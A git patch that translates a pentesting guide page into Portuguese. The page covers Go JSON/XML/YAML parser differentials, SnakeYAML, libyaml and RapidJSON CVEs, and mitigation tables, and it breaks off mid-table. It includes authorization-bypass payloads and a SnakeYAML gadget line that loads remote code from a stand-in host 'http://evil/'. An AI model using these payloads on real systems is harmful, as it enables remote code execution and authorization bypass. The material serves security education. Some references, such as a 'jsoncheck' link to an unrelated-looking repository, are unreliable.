From 4e0145ae268712a41eb79a562697afd5fed3a06c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 20:31:54 +0000 Subject: [PATCH] Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to pt --- src/pentesting-web/json-xml-yaml-hacking.md | 67 ++++++++++++++++----- 1 file changed, 52 insertions(+), 15 deletions(-) diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index ac41cf759..b2ae69caa 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -6,7 +6,7 @@ Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em [**este post no blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). -Os parsers de JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **contornar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**. +Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **burlar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**. ### (Un)Marshaling Dados Inesperados @@ -42,7 +42,7 @@ Carga útil: ```json {"-": true} ``` -✔️ Maneira adequada de bloquear um campo de ser (des)serializado: +✔️ Maneira adequada de bloquear campo de ser (des)serializado: ```go type User struct { IsAdmin bool `json:"-"` @@ -52,8 +52,8 @@ IsAdmin bool `json:"-"` O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em: - CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas -- 2022: RCE de 0 cliques do Zoom via inconsistência do parser XML -- Contorno do SAML do GitLab 2025 via peculiaridades do XML +- 2022: RCE 0-click do Zoom via inconsistência do parser XML +- GitLab 2025 contorno SAML via peculiaridades do XML **1. Campos Duplicados:** O `encoding/json` do Go pega o **último** campo. @@ -109,20 +109,57 @@ O parser XML do Go analisou **de qualquer forma** e confiou na identidade injeta } ``` Resultado: -- **Go JSON** parser: `Action_2` (não sensível a maiúsculas + último vence) -- **YAML** parser: `Action_1` (sensível a maiúsculas) -- **XML** parser: analisa `"Action_3"` dentro da string +- **Go JSON** parser: `Action_2` (case-insensitive + last wins) +- **YAML** parser: `Action_1` (case-sensitive) +- **XML** parser: parses `"Action_3"` dentro da string +--- -### 🔐 Mitigações +## Vulnerabilidades Notáveis de Parser (2023-2025) -| Risco | Correção | -|-----------------------------|---------------------------------------| -| Campos desconhecidos | `decoder.DisallowUnknownFields()` | -| Campos duplicados (JSON) | ❌ Sem correção na stdlib | -| Correspondência não sensível a maiúsculas | ❌ Sem correção na stdlib | -| Dados lixo em XML | ❌ Sem correção na stdlib | -| YAML: chaves desconhecidas | `yaml.KnownFields(true)` | +> Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go. +### Deserialização RCE do SnakeYAML (CVE-2022-1471) + +* Afeta: `org.yaml:snakeyaml` < **2.0** (usado pelo Spring-Boot, Jenkins, etc.). +* Causa raiz: `new Constructor()` deserializa **classes Java arbitrárias**, permitindo cadeias de gadgets que culminam em execução remota de código. +* PoC de uma linha (abrirá a calculadora no host vulnerável): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Correção / Mitigação: +1. **Atualizar para ≥2.0** (usa `SafeLoader` por padrão). +2. Em versões mais antigas, use explicitamente `new Yaml(new SafeConstructor())`. + +### libyaml Double-Free (CVE-2024-35325) + +* Afeta: `libyaml` ≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem). +* Problema: Chamar `yaml_event_delete()` duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap. +* Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida **0.2.6** que libera defensivamente o ponteiro. + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* Afeta: Tencent **RapidJSON** antes do commit `8269bc2` (<1.1.0-patch-22). +* Bug: Em `GenericReader::ParseNumber()`, a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap — permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização. + +--- + +### 🔐 Mitigações (Atualizado) + +| Risco | Correção / Recomendação | +|-------------------------------------|------------------------------------------------------------| +| Campos desconhecidos (JSON) | `decoder.DisallowUnknownFields()` | +| Campos duplicados (JSON) | ❌ Sem correção na stdlib — valide com [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Correspondência sem distinção de maiúsculas (Go) | ❌ Sem correção — valide tags de estrutura + pré-canonize a entrada | +| Dados lixo XML / XXE | Use um parser endurecido (`encoding/xml` + `DisallowDTD`) | +| Chaves desconhecidas YAML | `yaml.KnownFields(true)` | +| **Desserialização YAML insegura** | Use SafeConstructor / atualize para SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 double-free | Atualize para **0.2.6** ou versão corrigida da distro | +| RapidJSON